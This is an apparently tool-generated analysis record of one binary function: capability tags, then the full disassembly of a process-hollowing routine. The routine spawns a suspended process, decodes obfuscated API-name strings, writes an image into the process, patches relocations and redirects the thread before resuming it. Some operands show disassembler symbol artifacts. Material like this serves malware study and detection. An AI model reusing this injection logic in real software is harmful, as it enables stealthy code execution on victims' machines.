Function at 0x140004ef0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Encode data using base64
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x790]
sub rsp, 0x890
xor eax, eax
lea rdi, [rbp]
mov r12, rdx
xor r15d, r15d
mov rdx, rcx
xor r9d, r9d
lea r8d, [rax + 0x68]
mov ecx, r8d
lea r13d, [r8 - 0x67]
rep stosb byte [rdi], al
lea ecx, [rax + 0x18]
mov dword [rbp], r8d
lea rdi, [rbp - 0x40]
xor r8d, r8d
rep stosb byte [rdi], al
lea rax, [rbp - 0x40]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rdi, qword [rbp - 0x40]
test rdi, rdi
je 0x140005183
mov rcx, rdi
call fcn.140004d40
mov r9d, 0x248
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0x70]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140005183
mov rdi, qword [rbp + 0x80]
mov rsi, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r14d, 0x2000
lea edx, [r15 + 8]
mov rcx, rax
mov r8d, r14d
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x140005183
mov r9d, r14d
mov qword [rsp + 0x20], r15
mov r8, rax
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
mov edi, r15d
cmovne edi, r13d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test edi, edi
je 0x140005183
movsxd r14, dword [r12 + 0x3c]
mov edi, r15d
add r14, r12
mov ebx, 0x81020409
mov qword [rbp - 0x10], r14
movzx esi, word [r14 + 6]
mov byte [rsp + 0x58], 0x63
mov byte [rsp + 0x59], 0x59
mov byte [rsp + 0x5a], 0x1f
mov byte [rsp + 0x5b], 0x3c
mov byte [rsp + 0x5c], 0x3c
mov byte [rsp + 0x5d], 0x71
mov al, byte [rsp + 0x58]
mov dword [rbp + 0x7e0], esi
movzx ecx, byte [rsp + rdi + 0x58]
mov eax, 0x71
sub eax, ecx
imul ecx, eax, 0x1a
mov eax, ebx
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, ebx
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + rdi + 0x58], cl
add rdi, r13
cmp rdi, 6
jb 0x14000505c
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov byte [rbp - 0x70], 0x5f
mov rdi, r15
mov byte [rbp - 0x6f], 0x37
mov r8, rax
mov byte [rbp - 0x6e], 0x65
mov byte [rbp - 0x6d], 0x44
mov byte [rbp - 0x6c], 0x31
mov byte [rbp - 0x6b], 0x4b
mov byte [rbp - 0x6a], 0x6a
mov byte [rbp - 0x69], 0x78
mov byte [rbp - 0x68], 0x64
mov byte [rbp - 0x67], 0x18
mov byte [rbp - 0x66], 0x70
mov byte [rbp - 0x65], 0x72
mov byte [rbp - 0x64], 0x2b
mov byte [rbp - 0x63], 0x3f
mov byte [rbp - 0x62], 0x18
mov byte [rbp - 0x61], 0x71
mov byte [rbp - 0x60], 0x37
mov byte [rbp - 0x5f], 0x64
mov byte [rbp - 0x5e], 0x57
mov byte [rbp - 0x5d], 0x44
mov byte [rbp - 0x5c], 0xa
mov al, byte [rbp - 0x70]
movzx ecx, byte [rbp + rdi - 0x70]
mov eax, 0xa
sub eax, ecx
lea ecx, [rax + rax*4]
mov eax, ebx
shl ecx, 2
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, ebx
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + rdi - 0x70], cl
add rdi, r13
cmp rdi, 0x15
jb 0x14000510d
lea rdx, [rbp - 0x70]
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rbp - 0x40]
call rax
test eax, eax
je 0x1400051a0
mov rcx, qword [rbp - 0x40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor al, al
mov rbx, qword [rsp + 0x8d0]
add rsp, 0x890
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov byte [rsp + 0x60], 0x47
mov rdi, r15
mov byte [rsp + 0x61], 0x7e
mov byte [rsp + 0x62], 5
mov byte [rsp + 0x63], 0x5b
mov byte [rsp + 0x64], 7
mov byte [rsp + 0x65], 0x24
mov byte [rsp + 0x66], r13b
mov byte [rsp + 0x67], 0x39
mov byte [rsp + 0x68], r13b
mov byte [rsp + 0x69], r13b
mov byte [rsp + 0x6a], 3
mov byte [rsp + 0x6b], 0x7a
mov byte [rsp + 0x6c], 0x66
mov byte [rsp + 0x6d], 9
mov byte [rsp + 0x6e], 0x38
mov al, byte [rsp + 0x60]
movzx ecx, byte [rsp + rdi + 0x60]
mov eax, 0x38
sub eax, ecx
imul ecx, eax, 0x3e
mov eax, ebx
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, ebx
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + rdi + 0x60], cl
add rdi, r13
cmp rdi, 0xf
jb 0x1400051f2
mov byte [rsp + 0x70], 0x43
mov rdi, r15
mov byte [rsp + 0x71], 0x38
mov byte [rsp + 0x72], 0x65
mov byte [rsp + 0x73], 9
mov byte [rsp + 0x74], 0x38
mov byte [rsp + 0x75], 0x5a
mov byte [rsp + 0x76], 0x31
mov byte [rsp + 0x77], 0x1a
mov byte [rsp + 0x78], 0x3d
mov byte [rsp + 0x79], 0x21
mov byte [rsp + 0x7a], 0x5a
mov byte [rsp + 0x7b], 0x5a
mov byte [rsp + 0x7c], shutdown
mov al, byte [rsp + 0x70]
movzx ecx, byte [rsp + rdi + 0x70]
mov eax, shutdown
sub eax, ecx
imul ecx, eax, 0xb
mov eax, ebx
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, ebx
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + rdi + 0x70], cl
add rdi, r13
cmp rdi, 0xd
jb 0x140005283
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, dword [r14 + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rbp - 0x40]
mov dword [rsp + 0x20], 0x40
call rax
test rax, rax
je 0x140005177
mov rax, qword [rbp + 0x80]
mov rdi, r15
mov rcx, rax
sub rcx, qword [r14 + 0x30]
mov qword [r14 + 0x30], rax
mov byte [rbp - 0x58], 0x38
mov byte [rbp - 0x57], 0x3b
mov byte [rbp - 0x56], 0x3a
mov byte [rbp - 0x55], 0x1f
mov byte [rbp - 0x54], 0x72
mov byte [rbp - 0x53], 0x1b
mov byte [rbp - 0x52], 0x3b
mov byte [rbp - 0x51], 0x65
mov byte [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x4f], 0x72
mov byte [rbp - 0x4e], 0x2d
mov byte [rbp - 0x4d], 0x2d
mov byte [rbp - 0x4c], 0x45
mov byte [rbp - 0x4b], 0x72
mov byte [rbp - 0x4a], 2
mov byte [rbp - 0x49], 0x65
mov byte [rbp - 0x48], 0x3b
mov byte [rbp - 0x47], 0x58
mov byte [rbp - 0x46], 4
mov al, byte [rbp - 0x58]
mov qword [rbp - 0x20], rcx
movzx ecx, byte [rbp + rdi - 0x58]
mov eax, ebx
sub ecx, 4
lea ecx, [rcx + rcx*8]
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, ebx
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + rdi - 0x58], cl
add rdi, r13
cmp rdi, 0x13
jb 0x140005375
mov byte [rbp - 0x80], 0x47
mov rdi, r15
mov byte [rbp - 0x7f], 5
mov byte [rbp - 0x7e], shutdown
mov byte [rbp - 0x7d], 0x68
mov byte [rbp - 0x7c], 5
mov byte [rbp - 0x7b], 0x52
mov byte [rbp - 0x7a], 0x5a
mov byte [rbp - 0x79], 0x4f
mov byte [rbp - 0x78], 0x23
mov byte [rbp - 0x77], 0x79
mov byte [rbp - 0x76], 0x52
mov byte [rbp - 0x75], 0x52
mov byte [rbp - 0x74], 0x25
mov al, byte [rbp - 0x80]
movzx ecx, byte [rbp + rdi - 0x80]
mov eax, 0x25
sub eax, ecx
imul ecx, eax, 0x17
mov eax, ebx
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, ebx
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + rdi - 0x80], cl
add rdi, r13
cmp rdi, 0xd
jb 0x1400053f4
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, dword [r14 + 0x54]
mov r8, r12
mov rdx, qword [rbp + 0x80]
mov r13, rax
mov rcx, qword [rbp - 0x40]
mov qword [rbp - 0x18], rax
mov qword [rsp + 0x20], r15
call r13
test eax, eax
je 0x140005177
xor ebx, ebx
test esi, esi
je 0x140005600
lea rsi, [r14 + 0x114]
mov byte [rbp + 0x7e8], recvfrom
xor edi, edi
mov byte [rbp + 0x7e9], shutdown
mov r8d, 0x81020409
mov byte [rbp + 0x7ea], 0x69
mov byte [rbp + 0x7eb], 0x32
mov byte [rbp + 0x7ec], 0x63
mov byte [rbp + 0x7ed], 0x1e
mov byte [rbp + 0x7ee], 0x40
mov al, byte [rbp + 0x7e8]
movzx ecx, byte [rbp + rdi + 0x7e8]
mov eax, 0x40
sub eax, ecx
imul ecx, eax, 0x2c
mov eax, r8d
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r8d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + rdi + 0x7e8], cl
inc rdi
cmp rdi, 7
jb 0x1400054cd
mov byte [rsp + 0x50], 0x1b
xor edi, edi
mov byte [rsp + 0x51], 0x67
mov byte [rsp + 0x52], 0x51
mov byte [rsp + 0x53], 0x2c
mov byte [rsp + 0x54], 0xa
mov byte [rsp + 0x55], shutdown
mov byte [rsp + 0x56], 0x7d
mov al, byte [rsp + 0x50]
movzx ecx, byte [rsp + rdi + 0x50]
mov eax, r8d
sub ecx, 0x7d
imul ecx, ecx, 0x29
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, r8d
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + rdi + 0x50], cl
inc rdi
cmp rdi, 7
jb 0x140005547
lea rcx, [rbp + 0x7e8]
mov edi, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd r8, eax
lea rdx, [rsp + 0x50]
lea rax, [rbx*4 + 0x21]
add rax, rdi
lea rcx, [r14 + rax*8]
call fcn.140018c80
test eax, eax
cmove r15d, ebx
cmp dword [rsi + 8], 0
je 0x1400055ee
mov edx, dword [rsi]
mov r8d, dword [rsi + 8]
add rdx, qword [rbp + 0x80]
add r8, r12
mov r9d, dword [rsi + 4]
mov rcx, qword [rbp - 0x40]
and qword [rsp + 0x20], 0
call r13
test eax, eax
je 0x140005177
inc ebx
add rsi, 0x28
cmp ebx, dword [rbp + 0x7e0]
jb 0x14000548e
cmp qword [rbp - 0x20], 0
je 0x140005700
mov eax, r15d
xor ebx, ebx
lea rcx, [rax + rax*4]
mov rax, qword [r14 + 0xb0]
mov r13d, dword [r14 + rcx*8 + 0x11c]
mov qword [rbp + 0x7e8], rax
shr rax, 0x20
mov dword [rbp + 0x7e0], r13d
test eax, eax
je 0x140005700
mov r14, qword [rbp - 0x18]
lea r15d, [rbx + r13]
add ebx, 8
add r15, r12
lea eax, [rbx + r13]
mov ecx, dword [r15 + 4]
sub rcx, 8
mov esi, eax
shr rcx, 1
add rsi, r12
test ecx, ecx
je 0x1400056f0
mov r13, qword [rbp - 0x20]
mov r12d, ecx
lea ebx, [rbx + r12*2]
movzx eax, word [rsi]
mov ecx, 0x1000
cmp ax, cx
jb 0x1400056d8
mov rdx, qword [rbp + 0x80]
lea r8, [rbp - 0x28]
mov rcx, qword [rbp - 0x40]
and eax, 0xfff
add eax, dword [r15]
mov r9d, 8
and qword [rbp - 0x28], 0
and qword [rsp + 0x20], 0
mov edi, eax
add rdx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rbp + 0x80]
lea r8, [rbp - 0x28]
add qword [rbp - 0x28], r13
mov r9d, 8
and qword [rsp + 0x20], 0
mov rcx, qword [rbp - 0x40]
lea rdx, [rdi + rax]
call r14
add rsi, 2
sub r12, 1
jne 0x140005672
mov r13d, dword [rbp + 0x7e0]
mov r12, qword [rbp + 0x7d8]
cmp ebx, dword [rbp + 0x7ec]
jb 0x140005641
mov r14, qword [rbp - 0x10]
mov ebx, dword [r14 + 0x28]
lea rdi, [rbp + 0x2c0]
add rbx, qword [rbp + 0x80]
lea rdx, [rbp + 0x2c0]
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov rcx, qword [rbp - 0x38]
mov dword [rbp + 0x2f0], 0x100002
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140005177
mov rcx, qword [rbp - 0x38]
lea rdx, [rbp + 0x2c0]
mov qword [rbp + 0x340], rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x140005177
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp - 0x40]
test eax, eax
je 0x14000517b
mov edx, 0xea60
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140005185